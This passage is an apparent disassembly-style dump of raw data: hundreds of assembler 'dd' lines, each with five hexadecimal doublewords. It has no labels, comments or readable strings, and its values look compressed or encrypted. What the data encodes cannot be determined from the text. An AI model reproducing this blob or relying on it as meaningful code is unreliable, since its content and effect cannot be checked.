		dd 7CCA6B02h, 50A87427h, 7532B2D2h, 6F39117Fh, 0C47CE05Dh
		dd 962C76D3h, 84B16671h, 0D208B44Fh, 0ECD89AFh,	75651D0Ch
		dd 33CF1C69h, 2C3DED84h, 3E411012h, 2003A8B1h, 93362E31h
		dd 2A038F39h, 0DAE8E440h, 307BAE97h, 746F4209h,	6B43ECF7h
		dd 0E45F582Eh, 7B7E9701h, 5FDA38A3h, 0FCAF13FBh, 52FD5286h
		dd 0D14C5A0h, 49B5FA0Ah, 5309599h, 6711453Ah, 4B0BEA90h
		dd 864FA004h, 0F8C3FE6h, 482F41E1h, 197C214Fh, 85781E11h
		dd 0A2AB7355h, 2DEF5A54h, 0D6341F62h, 2F72DDBBh, 0EA904FFCh
		dd 2AFC3491h, 2D3AD3BDh, 0A5F561CBh, 3A62E93Bh,	218E29ECh
		dd 4029D47Ch, 90C64CEBh, 984EE840h, 9832A28Fh, 0B8593A0Ah
		dd 3C275C3Fh, 907A446Eh, 0D2ED838h, 0DE240A56h,	0A5B874EFh
		dd 422CC0C1h, 857764F3h, 4C742E97h, 907E2A0Ah, 0AA529255h
		dd 0AAFF62F5h, 65B60F69h, 2B4624CEh, 74FA97C8h,	480AA2BAh
		dd 740E672Ah, 6DA1DCB9h, 0A1484B7Fh, 75ED6F4Eh,	0F711F86Bh
		dd 0A87461F2h, 0A55D4047h, 875014F7h, 12DD2F28h, 1737F72h
		dd 0FD2509FAh, 50E8B967h, 0BA254AFEh, 55552328h, 0B268226Eh
		dd 0E90A538Ah, 7EE1F844h, 0FB93FEEDh, 3BB4A09Bh, 66021C9Fh
		dd 4A905FA7h, 0FAE5651Fh, 1D46AEA6h, 0FDD8205Bh, 0C5707202h
		dd 52631F54h, 0ACCDFE18h, 52BDFD3Fh, 5F52B84Ch,	0DDB7FD65h
		dd 510B6790h, 74024955h, 1496723Ah, 44854A90h, 0FEC2F752h
		dd 2D0451Ch, 2A1D648h, 1842491Bh, 5491D54Ch, 12AC3AF9h
		dd 0AFA03A8Ah, 93AC927Ch, 9C445569h, 2CB55BBFh,	49045DC4h
		dd 0A2AB3A44h, 5D65B548h, 3E948A2Ah, 1FFD8894h,	3C4CCA4Ch
		dd 0A1FD5E53h, 0D7AC1F84h, 176424FFh, 0E82FEA72h, 0AC42264Dh
		dd 0FF6254BDh, 7FAD2CE2h, 10A458F3h, 0B84C1A3Ch, 82A34FABh
		dd 663B0059h, 55C02EA4h, 2B682626h, 69841569h, 852148F4h
		dd 54B5B52Ah, 0D09356C8h, 0A1750429h, 0D355D250h, 6B87A9B8h
		dd 17D1C2FFh, 20C0CA8Ch, 0B7797E74h, 708D9ECCh,	0CDA4DFA7h
		dd 0FEE2EE73h, 0F9CAFEF5h, 55246424h, 55F2FDA4h, 0B75EB8D1h
		dd 0F54BD27Ch, 0D955D3BAh, 70BF5C7Ch, 0AB5495EBh, 0E851557Ah
		dd 92703D7Ah, 470D2A61h, 8F47E2D8h, 9DAE93FEh, 2D784C62h
		dd 58105B57h, 64074F5Ah, 5D092D5Dh, 47720865h, 95212211h
		dd 577A83D4h, 8AF48451h, 1F939221h, 7DDA6B78h, 0FAB83BFFh
		dd 0B88D80A6h, 434E44D8h, 61A3ED53h, 0F1D5F2B8h, 54B5D428h
		dd 740A5DD0h, 23FD5066h, 4E65F24Ch, 0B51CBEC9h,	8248817Eh
		dd 7B412D55h, 3FA86F2Ch, 9953FE97h, 0EC2AB28Dh,	500EBD68h
		dd 0AB681693h, 0D6532388h, 0D0CEAE91h, 0E323BA5Ah, 0AA605077h
		dd 1D7EFB61h, 0BF7956DFh, 0EBA928D7h, 0B73E772Fh, 574B34FEh
		dd 1EDDFC4Eh, 9A96DC79h, 6B105122h, 962764BFh, 5BCE848Dh
		dd 0B252EF3Ah, 4AE2F08Ah, 6434B2F4h, 6C103A59h,	46D3759h
		dd 3FD604FDh, 52498234h, 5A38D843h, 902BEB77h, 4B587F4Bh
		dd 0E2AAE095h, 567388D0h, 4B464087h, 3880D16Dh,	6F4E16AAh
		dd 19698DBBh, 9FFC3B20h, 17BBB490h, 0DFE57453h,	0C5B7DCA9h
		dd 4FA0E628h, 0C4E67BC4h, 49ABB579h, 50719CC5h,	69667E84h
		dd 7ED29F78h, 0D21CB484h, 549569E4h, 3821577Dh,	55466D54h
		dd 5AB92A68h, 0D3A8DFD2h, 728BAA64h, 94E538D0h,	4A9E6A77h
		dd 7E0E39EEh, 3F75175Ah, 92D5253Ch, 9B2F9A9h, 0D3123E2Dh
		dd 95F4F059h, 2AE855F4h, 96B5CCCBh, 2DB45DE4h, 1D558A8Dh
		dd 6AE448E3h, 6885D680h, 2EF438F2h, 95779A84h, 15D7A7A4h
		dd 9177A72Ch, 0C736460h, 0C66364E1h, 57F20C53h,	90B9EA6Eh
		dd 907E9556h, 0BBDCB576h, 0ED6B5652h, 0A5B40A6Eh, 634B59A5h
		dd 0D83AEE4Ah, 558BBA96h, 0D8E2AEA4h, 0B42C63ADh, 0C9480CBDh
		dd 8FAC2BADh, 0A9CF1D2h, 69B6F730h, 0F8DE9555h,	58A22EE5h
		dd 735F12A9h, 59CDBCC5h, 0BCD0FD2Bh, 8768F974h,	0AA486CA9h
		dd 12666125h, 0EDF67C95h, 0A5340EE8h, 8B4B8CA7h, 0B8F1B404h
		dd 0C48F232h, 7759A5BDh, 0A6BA0C1Fh, 0D8A88C78h, 0DE953E8Ch
		dd 3B2EC50Ch, 142CC970h, 0D2E08555h, 0E4A05CF9h, 0AC24089Fh
		dd 177A75Dh, 67736DC8h,	302B2C44h, 0C67741CBh, 0CB5ED6BAh
		dd 24B2D39Ch, 0F66379E1h, 50842451h, 0E0EC5241h, 12FB4EBEh
		dd 0D3A1F64Ah, 3C4730B6h, 6DFCB8DAh, 44E6E525h,	49F7AB77h
		dd 5A30A570h, 72316E08h, 383F6C1Ah, 16BA12A7h, 0FCB29D38h
		dd 49BC7455h, 8E0646DFh, 569491F4h, 6C8062BFh, 4E69F63h
		dd 4E24129Dh, 0D26CF62Ch, 0D0A42F18h, 8A2C9148h, 34A30E72h
		dd 77525FF2h, 6CD1A0A6h, 3A929DB6h, 75C928CEh, 5CB16A5Dh
		dd 38B07477h, 24DD754Dh, 0C9264762h, 18BDF25h, 822B445Fh
		dd 5853F5BCh, 51DB32ADh, 55584823h, 75FA212Eh, 0F054EDBAh
		dd 79502157h, 14404D44h, 0AA213486h, 2ECA97E9h,	3B106DFCh
		dd 0DB96E4EDh, 635D7D2Ch, 2C1FE9E1h, 73599D3h, 665FB91Ch
		dd 0FAE1D31Ch, 0E2F564CAh, 42ACA463h, 4FAE0094h, 0D2803BEBh
		dd 0C83A6953h, 0B2A44042h, 9552A800h, 6A69BCFCh, 68C9DBB4h
		dd 0D657DA5Ch, 0F595D6E3h, 90D63C1Bh, 566B5291h, 66FD4F9Ah
		dd 2E30C550h, 0A93CD450h, 0EC2E580Dh, 4C42AA14h, 373C15E4h
		dd 6BEC3A2Ch, 7DF1EFC6h, 0E990D0FEh, 0FF5A2C63h, 4B9A512Ah
		dd 0A15D8054h, 707D7A50h, 7BA2BE91h, 79A38841h,	8FBFD2D9h
		dd 0DBF89738h, 0AE92857h, 2C69E550h, 0C92F4DD6h, 0DAEC735Fh
		dd 50689735h, 5A9785FCh, 5C68D957h, 347D65B4h, 0D4E3AF02h
		dd 0F79C14B9h, 0DA3B4CC3h, 4871DD0Eh, 489885D4h, 0A662C927h
		dd 1DF26045h, 43548558h, 0EE1B7750h, 0AB6F7473h, 0E4E6CBACh
		dd 526D56B7h, 56E0D3DDh, 3C972382h, 2B765068h, 25456F50h
		dd 3A4BAECCh, 894BACCFh, 9225BFAAh, 0CBB46D28h,	5D36CD5Bh
		dd 393EEDBDh, 3410911Ch, 10301B2Ah, 13434101h, 974F4954h
		dd 0A713AEB7h, 704BAD80h, 0A880BDE4h, 9F19A445h, 835EE56Ah
		dd 0F5E2D35Eh, 7B3E2FF1h, 0FA53139Ch, 0D5745392h, 0FEF4F612h
		dd 0EFE0156Eh, 961FEB5Eh, 185049CCh, 7781A270h,	1D9D9DD0h
		dd 0E6D3E960h, 7EB7BFA0h, 5AA8E81Ah, 0A56F6C41h, 795585B0h
		dd 0E92F5A7Dh, 2867ED50h, 97500AEDh, 4374FCD5h,	929AA2BFh
		dd 982AF3BFh, 9C7A69D0h, 44BDB237h, 334616Fh, 3EA2E1EFh
		dd 124F60F9h, 0AE8AEAC8h, 9A70CB4Ah, 0DE88E5C7h, 0C9685085h
		dd 26D95FD2h, 0C60A1A6Dh, 798DEF92h, 0C169C81Bh, 767CF95Fh
		dd 2375AF96h, 0C8BFDA50h, 825450C8h, 89545DEBh,	0C78D4FE9h
		dd 0EE72944Eh, 70531821h, 14F858ADh, 79F0F887h,	0B14F8270h
		dd 0D0BDF7ADh, 4E705509h, 527F9EEDh, 0D49F604Ch, 0DF40C893h
		dd 692C5138h, 0DE2D3DBFh, 0F3EFBD35h, 0A0D14CAh, 11AFE404h
		dd 6212147Eh, 0AA5FF79h, 9A5C169Fh, 5BD50569h, 95572FFDh
		dd 0EED56B74h, 0E8A39423h, 4CD42728h, 0FA46E653h, 1764BD68h
		dd 0A1EB0C86h, 0F7250F3Ch
		dd 0F9AD249Dh, 95F72526h, 1AFDA725h, 4179F54Ah,	5C52F96Ah
		dd 241E3119h, 0AB814472h, 3F0AC44Ah, 0E9933225h, 42EA0ADCh
		dd 0E3008B2h, 0BAB07469h, 0AA755AF8h, 9FB01050h, 0CEBDBB25h
		dd 0E02E7E07h, 2DA8A55Fh, 6E3EADFBh, 0D4C913E8h, 7F66F952h
		dd 67CB58B3h, 0C8142485h, 0CA76647h, 53282121h,	4DB21486h
		dd 0B40C3ED0h, 0E7764033h, 772E6E92h, 1A95C96Ch, 509A7744h
		dd 94D70C32h, 701088D0h, 0A50CA56Dh, 21D79866h,	54EFB4D7h
		dd 0CD9D208h, 94D62FADh, 46EC2EC5h, 0E9106F29h,	1683CF6Eh
		dd 16F531DAh, 2E4828h, 8060FB96h, 97317973h, 1454BA5Fh
		dd 98129AACh, 0B208840Dh, 42088B27h, 0C591904Fh, 5E08B692h
		dd 0EC1DADE1h, 8648744h, 6259C8BEh, 3CCA78F6h, 72450876h
		dd 0E3664BAh, 834660Ch,	0C29C99D7h, 65CD2C9Bh, 4320F308h
		dd 551392ACh, 1043A4EDh, 7A24D690h, 6BBDCF04h, 2B822E08h
		dd 70728820h, 0ABF453C9h, 2908A344h, 656AE580h,	4640B808h
		dd 10A94E14h, 109E0C42h, 0B26DA26Bh, 23225C08h,	61720A14h
		dd 182B532Ch, 6D958077h, 20E99608h, 63150C90h, 0F1920879h
		dd 61140C02h, 590859FBh, 6DD44CFAh, 0F2AE08A6h,	358D208Bh
		dd 0E95D1328h, 1410D1CFh, 0D3086867h, 0B44D1EA3h, 5B13EBB4h
		dd 0FBE4EBB3h, 0E12EDED8h, 0E0D6305Eh, 7BB16D44h, 8FD81C4Bh
		dd 73554234h, 0AC3871F5h, 308D76C4h, 7A0C54C9h,	8F6F4CD7h
		dd 0EAF7693Ch, 876D34BDh, 71167234h, 0EA1645FDh, 74F4B837h
		dd 0EF221252h, 7B4CC836h, 5A54A56Fh, 8FC26677h,	0D634A18Ah
		dd 5238FB8Dh, 797FA970h, 2DB86A73h, 32A1BFE4h, 0E7C5F86Ah
		dd 4750334Bh, 0ACD25827h, 5BF24A96h, 5444A5B9h,	2C65A574h
		dd 9A50177Ah, 442D2A4Bh, 0F8BC7A70h, 0D7340BBDh, 7FE401F2h
		dd 29AB4934h, 0AE486B6Bh, 48F2D1CBh, 73177FA8h,	0A14EFEB3h
		dd 0FF3D7A4Dh, 0E5EA171Dh, 384821ACh, 14DFEF4Ah, 43259BD1h
		dd 7697E7F4h, 9A42D0A8h, 423C7EA4h, 0AE969039h,	507CD179h
		dd 0A9C66CFDh, 0B44549A5h, 2DA03FFAh, 511A4B3Ah, 4485ED94h
		dd 0F017555Ah, 2CA20CAEh, 727A6CAEh, 61E44496h,	638530B6h
		dd 6408626Dh, 2BE8127Dh, 761CB109h, 506F0859h, 66C43020h
		dd 6978B76Ch, 0EB20D488h, 677AF47Ah, 0C38208A6h, 828202Bh
		dd 2924CD08h, 1FBB93B4h, 2778EBBDh, 0C2F4B9CAh,	0C9C24B4h
		dd 86E5270h, 251C2968h,	0F894EA0Bh, 8AC647Dh, 0FB767343h
		dd 397439C2h, 0DCCC42A3h, 882708EBh, 98CD3CACh,	527F0819h
		dd 4E688A46h, 0FC392439h, 71CA1091h, 2575C508h,	6852F7F5h
		dd 285A0C40h, 72C560A4h, 77610861h, 7470700Ch, 8C1D928Ch
		dd 4B6A4724h, 0B7982210h, 7BC808FAh, 0A82D574Bh, 0D2E039A8h
		dd 65091CFFh, 889CF54Ch, 7B66E273h, 6BDF6B98h, 10244777h
		dd 68EBBC5Ah, 57522043h, 2442B79Bh, 32F15F54h, 666A601Dh
		dd 0B09E2446h, 5A8966C4h, 992E0C19h, 6B101D25h,	1C0F0DA1h
		dd 98CE2069h, 2A636723h, 83E1BDF4h, 187E6E70h, 0ECD14C27h
		dd 9BAF6C13h, 26BE4E86h, 3C30102Ch, 79742645h, 0BCC2973Eh
		dd 0F3752812h, 0B5482030h, 5BE054D8h, 444D430Dh, 8F2FF15Dh
		dd 0D7F8522Ah, 0BD3509B5h, 9970100Eh, 261FED0Ch, 946C268Ch
		dd 0B7405CCBh, 0CF245A19h, 82F1092h, 0F87259D3h, 85483266h
		dd 8657075h, 0B46292F5h, 0FC4A08D1h, 0B17389C8h, 67E270ECh
		dd 0D8C93DD4h, 673362C2h, 87EF0893h, 693CFA30h,	67084688h
		dd 0A566AA79h, 0B2D45813h, 53149160h, 694E5168h, 5A0C46A7h
		dd 6F756787h, 0F37EB8B7h, 3324A719h, 0BB75CCD8h, 0A48AAC64h
		dd 0E9B0997Fh, 0AC5DC8DEh, 6C4173DAh, 0EFC4DB92h, 0F796CAE2h
		dd 2E16F424h, 0D6317851h, 0FA0B6864h, 690C3977h, 64E1BC5Dh
		dd 78244A19h, 221AFD97h, 33610C0Fh, 0C2316D72h,	2062951Eh
		dd 68BCE47Bh, 88490822h, 70261BAAh, 0DB3468C2h,	731233A0h
		dd 9718F2E5h, 0D27A208Ah, 0DBFFF3B1h, 5CBE8497h, 44962F8Ah
		dd 247999Ch, 6AF9538Eh,	4F12B64Fh, 0F36D88B6h, 0CD27A72h
		dd 0FF289477h, 7F16E4CAh, 5128A61Fh, 34620E43h,	681425DFh
		dd 0D820C90h, 1CA11047h, 38AD126Dh, 0B891B8BEh,	95740243h
		dd 595ACF95h, 34E06FBEh, 9C18FB3Fh, 0A9671F5Ch,	6922507Ah
		dd 0F261655Eh, 0C745903Ch, 802C7502h, 15A1AC70h, 27504455h
		dd 4744CA97h, 79F4406Ch, 286E1F29h, 0C7BC531Eh,	7322B49Ch
		dd 47B6428h, 4471F2AEh,	78A753F4h, 721C24A3h, 2A1F46A5h
		dd 9F28741Fh, 44BEE51Eh, 72D08474h, 0CF5DEF6Ch,	7FEECAC2h
		dd 0BCD16814h, 680287CAh, 0C9F7424h, 7242DC59h,	44FE16Dh
		dd 291E24F4h, 29151560h, 0FFE00408h, 341F2A44h,	0FC5ED48Bh
		dd 0DD2CD06Ch, 34531DE8h, 2514462Ch, 8C5C3634h,	6C148924h
		dd 14485E77h, 188C1DB6h, 0FD34C2FBh, 0DADA3038h, 0E9620832h
		dd 484C141Bh, 75A5B7B8h, 8E64189Ch, 0BB9AD892h,	7267DC94h
		dd 964EC9C8h, 9EE6DABDh, 2C249F31h, 82814CDh, 1069A146h
		dd 1CA0B745h, 5EBCD991h, 0AF8BF567h, 642585ADh,	202D040Ah
		dd 814B6816h, 0FC8E0B6Eh, 0AC7BA5D7h, 92AD43F1h, 0BD780BAh
		dd 0F7E7C25Ah, 2141DFBBh, 0F0F83A5Dh, 93480EEDh, 0FDD2C8BDh
		dd 46A29646h, 0E9924546h, 0E945AA88h, 84B55DF2h, 5ECCD8E8h
		dd 8281AD6Dh, 54414843h, 0FFC98897h, 329DF846h,	4A91F626h
		dd 4A55E826h, 0E7B57C28h, 50010F68h, 15479B5Fh,	4528EDC4h
		dd 208D2A0Dh, 27E4A83Eh, 4EEACA6Ah, 0FC81D22Ch,	0A4F65A01h
		dd 0F97E01CBh, 4CE15316h, 0B3C23F19h, 0B86EF511h, 0EEE406D5h
		dd 8EC21BF1h, 0A2ABD254h, 0A9333880h, 4FB87C32h, 0BB0065AFh
		dd 0BB933C3Fh, 3FEE77C4h, 8790D56Ch, 5C293533h,	498848E0h
		dd 0C59576D8h, 0B4D32D04h, 48B65CC9h, 93215794h, 0B24B825Bh
		dd 543BDF4Ch, 3334191Bh, 323099E8h, 4564CE2Bh, 4F880317h
		dd 0DB247FAh, 0F686AFBBh, 7DFB2AE1h, 39BF2B88h,	800600F8h
		dd 0AF01A8BDh, 11C97D8Ah, 0FB2AF4BEh, 89297406h, 1F7D9531h
		dd 4C5FA588h, 8018692Ch, 0E0147357h, 975201B0h,	0D059CA03h
		dd 80D5A811h, 280DC9A0h, 145180h, 1D55B526h, 46C5C137h
		dd 6379AB00h, 0E8682A8Fh, 64E59569h, 0A4B73A94h, 0C743F4B1h
		dd 0C08446Ch, 1C5C8964h, 1C4C8954h, 1C3C8944h, 122C8934h
		dd 48242401h, 2202911Ch, 3044410h, 0D8AFD48Bh, 0CA56478h
		dd 975044B8h, 3664E425h, 0CC9D2108h, 85088BF6h,	0B4511053h
		dd 0D345B10h, 60A1D4F5h, 0A7882108h, 8A19551h, 0F97852AFh
		dd 95116456h, 0DA25C0BFh, 160E952Ch, 4B03F6D2h,	0BFA45CCEh
		dd 8A8D2035h, 0D92A3C0Dh, 47846956h, 346DF474h,	766EA802h
		dd 8C33EB09h, 0E263A5F7h, 4EFA5E5Ah, 3EC96C85h,	0A6FD7833h
		dd 696F7718h, 5675CF83h, 9D642B88h, 201A3E9Ah, 0DC4C73Ah
		dd 7E110BB5h, 3FD66BB2h, 2864855Bh, 89AEB2FAh, 0C944DD63h
		dd 0D8ED11D2h, 36D2613Eh, 7DDFCA4Fh, 2EB755A5h,	139F1259h
		dd 7CA86914h, 21216EFCh, 842E2EC5h, 6D338043h, 0D55A6BFEh
		dd 0C4F2E2D5h, 9534AE4Fh, 7DCE2C39h, 0F8B4C07Bh, 4C6F6BCBh
		dd 0F65F24D4h, 51FF4E98h, 0A15F2345h, 2E8519C8h, 22411EB6h
		dd 0EAC7943Bh, 47E2A889h, 48CB290Ch, 0E942E866h, 8788EEDFh
		dd 0AA6465B0h, 3152D1A2h, 0BA45852h, 0C47F70C0h, 614CCD18h
		dd 72349593h, 501ADA1Bh, 66448119h, 8DB66A2Dh, 4248488Fh
		dd 9DA43CD2h, 5F48430Ah
		dd 0F46BEC21h, 5CEDE80Ah, 0F2976492h, 5E7897B6h, 2B49B9A5h
		dd 562B5E50h, 69D12893h, 226F5A49h, 0A4932C72h,	3514DABFh
		dd 0C134EE76h, 8B6274EBh, 0A6E9931Ch, 8146C4D1h, 3812AED7h
		dd 0A0A5A729h, 5120657Eh, 126CD2F5h, 0EECC636Dh, 0E259F86Eh
		dd 6C898343h, 0F1DE5F44h, 3E68F13Ch, 0DC905BECh, 26CDDD4Bh
		dd 1AACD249h, 8C85DCA6h, 69592AEAh, 0F45FDE29h,	0A8912EECh
		dd 0AC11675Ah, 596C992h, 0EE97FDACh, 0AB30863Dh, 0DD8AC447h
		dd 0DF95414Ch, 56686926h, 0A7C8F195h, 0AFA1E873h, 2089D3E9h
		dd 125D9D2Ch, 0E9F345A3h, 2494DB55h, 341EDAF4h,	2B62CDB5h
		dd 0DF4BF3C4h, 3FB1CB84h, 0BCF43436h, 0CF54463Eh, 9DFAB325h
		dd 0ABCFC325h, 8553A256h, 0E2AB0B52h, 4618478Dh, 2852240Ch
		dd 0F57618CDh, 0F05D1846h, 967F0C46h, 270BC805h, 11D4327Fh
		dd 77E66694h, 3F4D782Dh, 6ED57FA9h, 0E677BBB7h,	3A74CEC3h
		dd 0E5EC8B12h, 9E5F77A8h, 0ABB05C1Eh, 0CB2F3441h, 0A9684238h
		dd 79F62028h, 0A0D21E94h, 34312D44h, 9518DD53h,	361B0632h
		dd 0F2D40B75h, 0DC0A5BA4h, 672DD959h, 0BBBD5B38h, 99D21EE2h
		dd 2F1E0928h, 39FF1CDh,	0E9FE2D52h, 11B1A6Dh, 0A8DA114Eh
		dd 0C44647Fh, 2F3A9563h, 74BAD73Ch, 687EAED5h, 19AD1452h
		dd 52174F48h, 341BAD84h, 0D071E96Bh, 0CAB975Eh,	24ABE165h
		dd 852060A4h, 3F50A2CCh, 6BD5E957h, 2863962Bh, 78614D09h
		dd 75B5922Eh, 4965C3C1h, 4250A012h, 4C522764h, 75EF0AFBh
		dd 0EA43C417h, 0CB25A88Dh, 5728B9F2h, 736B6C89h, 1EA61F79h
		dd 59095347h, 0AE1CB590h, 1472D464h, 7B44A61h, 3B1A6619h
		dd 6E9410A3h, 89AB974Ah, 3E4EEF7Dh, 0AC73E48Ch,	61423B60h
		dd 0B426ACCAh, 1A248134h, 9C411472h, 0C554B7B4h, 48761052h
		dd 0FFFAFD6Fh, 29ED26D1h, 79B4E87Eh, 0A1685EB5h, 0B3DFAD48h
		dd 0F3F07532h, 12DC4778h, 4062AF47h, 0CB00F655h, 52F5B2D2h
		dd 14AF5379h, 3E61114h,	0B754625h, 1DC257A8h, 63411118h
		dd 0AFA95DE3h, 0BB92771Ch, 71F5C192h, 0FEC0EA9Bh, 0E76E412Eh
		dd 99D0B52h, 697C7605h,	1D790E62h, 28697AA4h, 472F7C18h
		dd 2F6552D8h, 0CFCA5544h, 0A365644Eh, 0E104A9Ah, 6C634FAEh
		dd 75FB853Ah, 839AE6Ah,	2D6E9371h, 0DA465D1h, 5C2B73DAh
		dd 9432BDD2h, 52E437D0h, 7875AF38h, 9A9667CBh, 988ED314h
		dd 52007026h, 123412D1h, 28DF29AFh, 4A28A328h, 0AD472D72h
		dd 0BD17C3C8h, 0F26E3839h, 2F792BC9h, 2E0ACF29h, 0F7695C29h
		dd 18718892h, 0E546C449h, 744FF05Bh, 42232A99h,	0DF6FCBA0h
		dd 0A18A1F4Ch, 0DE40947Fh, 265A761Ch, 7990898Ch, 0E506D4Eh
		dd 0FC0E68A3h, 8BA23B25h, 0A3F7AC65h, 10531942h, 0B87B9241h
		dd 62C99344h, 114B0125h, 4E4DBA68h, 4FAA75D2h, 5A32646Dh
		dd 0CE466C71h, 1229CAD3h, 0FF5B625Bh, 0BEE16D24h, 5B29FB2Ah
		dd 2EA9353Ch, 4C69568Ah, 0E14D8CD1h, 215453F6h,	0EE5FA7ECh
		dd 0E582A2EEh, 4A28297Ah, 0C8825ED7h, 219CD34Ch, 4E643E2Eh
		dd 0A51BECEFh, 2C1FCDAFh, 166A9AB8h, 0CDC196CFh, 68FE2A91h
		dd 0BA9D2E78h, 4D671290h, 48B8215Eh, 2C2E59FAh,	3C2EAEE4h
		dd 0A53E71ACh, 22E97B1Ah, 693C8F0Eh, 55D21474h,	8A539AFEh
		dd 71F09A79h, 2964892Dh, 449340F1h, 2D5A56BFh, 0A88F6F6Fh
		dd 0ADD4FDB5h, 0FDB5380Ah, 3C2AA4D8h, 8C74AA92h, 4C061E36h
		dd 94A4D83Ah, 0C7B9AAA4h, 42ECA4D2h, 6A413F38h,	0B3A565B3h
		dd 0A0093408h, 34711129h, 0EDFCA492h, 29BB28D3h, 40103E4h
		dd 405C091Ah, 0DA425F28h, 9A050139h, 5C29D109h,	706911B3h
		dd 2443502Dh, 27FA7C70h, 32216C14h, 19334B33h, 46F5E464h
		dd 55DE4DE1h, 2F756454h, 4AFCBAFFh, 2C17DF46h, 28CD5525h
		dd 0BFE0446Bh, 5772E9FEh, 815196Eh, 90B54378h, 77FCC408h
		dd 0F409F80Ch, 4410F089h, 24815C3Ah, 116F30BFh,	0C4A84BD1h
		dd 9869119Bh, 0E0175D1Ch, 0CDC77F4Bh, 0F2BA55ADh, 75492154h
		dd 2E2E67A5h, 4434D344h, 75329BCDh, 0BB920349h,	3790B03Fh
		dd 53778393h, 2B4A249Dh, 0F534D77Ch, 0FE783551h, 43747323h
		dd 0FA41FC73h, 54709176h, 75FAC087h, 0F093EB12h, 0D1DF52EAh
		dd 0B0BA57Ah, 6EB8B26Ch, 2159D4BFh, 3C8C5650h, 545AF6BCh
		dd 925AC85Ch, 0D7183A53h, 52D097A3h, 6FBD5091h,	6FF52DE9h
		dd 0C4FED600h, 0D1F46A26h, 898B4B35h, 9A93042h,	2E38092Bh
		dd 0FB5B81CBh, 1896A829h, 0DD306B4Eh, 0F9616452h, 0E83F6325h
		dd 24109985h, 0A4E90023h, 47F2BD7Fh, 7C12D2BCh,	72F9704Dh
		dd 6E55F01Eh, 74729972h, 75789887h, 5E72996Eh, 977C1491h
		dd 1829DAF9h, 47FDA27Ch, 53D74913h, 2EB8E3Dh, 0F9E80541h
		dd 5B0281FFh, 0B966C931h, 73800E87h, 0E243D10Eh, 32184FF9h
		dd 1B0C2DB1h, 0C0330200h, 30400364h, 0FA2BFF78h, 8C1B467h
		dd 0A8F09EBh, 7CEC8D34h, 0D0FC3C0Ch, 0CA0B0367h, 0E9784853h
		dd 0DAF52041h, 391C59F4h, 0F61CFF33h, 0C277057h, 792A8110h
		dd 411FF40Ah, 33990275h, 0FB3B0316h, 3B178F18h,	4C03983h
		dd 8587C3B9h, 47DB74F6h, 3D741FFh, 57FAC8F2h, 0D112E837h
		dd 0C931FCC9h, 0B570F85Fh, 38B85B7Ch, 17E8186Ah, 78017533h
		dd 0DD93B5C3h, 15072122h, 0A6ED840Fh, 5B58C300h, 0EC83505Dh
		dd 8B9F5450h, 488DFC0Eh, 0F3D7A040h, 0E44B0AAh,	515257ABh
		dd 26286A27h, 55000C01h, 83D6FF53h, 318554C4h, 2D67C3C0h
		dd 2876E65Bh, 0C9155C69h, 0E34D653h, 2E0D79BEh,	2ABBE464h
		dd 6CB396E9h, 8CA43FCAh, 73089875h, 705DD388h, 1CEA4741h
		dd 0D7271B3Fh, 1A3F847h, 41785804h, 0F00E2CF2h,	0E00C4216h
		dd 7F212A09h, 7C5DB443h, 0BF852802h, 0E048BC42h, 84648F10h
		dd 8A22462Fh, 1590281h,	4038F40Bh, 9002A582h, 3C46BF02h
		dd 10AC041h, 582292AAh,	1008992Eh, 2A40144Ch, 47044381h
		dd 1FF2958h, 0F139F099h, 550195C2h, 1C5C4955h, 1001E08Ch
		dd 0D819C314h, 1D834217h, 44D41122h, 1B89D01Ah,	1F24C812h
		dd 1391C048h, 2144B822h, 120E89B0h, 480D24A8h, 220F91A0h
		dd 90104498h, 88120589h, 84481E24h, 80221291h, 897C2044h
		dd 2474120Ch, 916C480Bh, 44642215h, 19895C1Ch, 11245412h
		dd 18914C48h, 16444422h, 48DC8B3Ch, 22229134h, 2C234430h
		dd 28122489h, 0F0430128h, 0F831847Fh, 0A6EF18FFh, 7104810h
		dd 8B080A2h, 1814410h, 80301458h, 4152E795h, 289EF204h
		dd 0B42C0F01h, 20030495h, 5D0D2D09h, 49A62174h,	402010Ah
		dd 0A40C0808h, 39600803h, 21297982h, 0DFA68A18h, 0A5A14208h
		dd 219F8130h, 4004FCE0h, 0A833807Eh, 0A3C1610Eh, 0D0EC52DAh
		dd 0FE4981FCh, 0CA08D0B8h, 915D30B5h, 87B6C841h, 29E4A2CFh
		dd 67E5E007h, 6A5B85E8h, 0A17E1560h, 551180Ah, 0E55EDA09h
		dd 9E5FC09Dh, 0B832106Ah, 0DED808D3h, 310AF9E0h, 3C4A3A7Eh
		dd 2949CA9h, 803CA04h, 18480464h, 0D220591h, 89090644h
		dd 240C1207h, 39097208h, 0B1C4C0Ah, 3C169487h, 0F2908D0h
		dd 14109458h, 129411C8h, 2318D004h, 10359421h, 43E441C8h
		dd 34995072h, 53184C52h, 575308A6h, 7C592960h, 0C8186C94h
		dd 2220916Dh, 721C4470h, 653ACAEh, 0B4802B30h, 0CA088194h
		dd 83642082h, 48998472h, 25291291h, 0A110329Eh,	4CA490B9h
		dd 578EA770h, 0CE29A0B7h, 0C4D79120h, 0C980718h, 0BC08005h
		dd 1D998493h, 961C0419h
		dd 238D9187h, 0F28E9008h, 90431E8Fh, 927991C8h,	0E493210Fh
		dd 0A989C03h, 0C9148C89h, 0A41AA34Eh, 421B2004h, 78F4AC8Ch
		dd 68FCA61Ah, 9E2810C8h, 0C7102EA4h, 0C8318B78h, 8ECE248h
		dd 50BB2478h, 3119F80Bh, 0CCE2C0D8h, 0BB9878F0h, 63601F80h
		dd 102E281Eh, 781119CEh, 218F011h, 48E02479h, 22D0917Ah
		dd 6A3020FCh, 0C2C0FF44h, 46B94021h, 11C9C86Ch,	7971DC01h
		dd 0E4246210h, 5D2CBDEEh, 0CC23B924h, 0BF582B4Bh, 34269485h
		dd 18DD109h, 352460FCh,	409BC0B3h, 0EC03F209h, 3C815930h
		dd 0E4E0182Eh, 897F4820h, 8CB07080h, 38C2F1F0h,	0BF545350h
		dd 44506284h, 0FC4240BFh, 0A84157A8h, 0EA3B19A9h, 100E7879h
		dd 891E0C40h, 4C5A133Bh, 97CCA408h, 0D489B509h,	1125F312h
		dd 930D54Ch, 146D894Eh,	533A3462h, 6777176Ch, 48B404BCh
		dd 9F299D3h, 2F519910h,	6C124D09h, 0A041A1C5h, 140B4002h
		dd 0A10C05C8h, 790B08FAh, 610C9C21h, 0B0FC350h,	12F42408h
		dd 21968050h, 20401698h, 8C19BEBCh, 0C9BF0402h,	10348E1Bh
		dd 0CC3DEDA1h, 0D3C28FCEh, 0F020804Eh, 370B59Eh, 0C5ADA82Bh
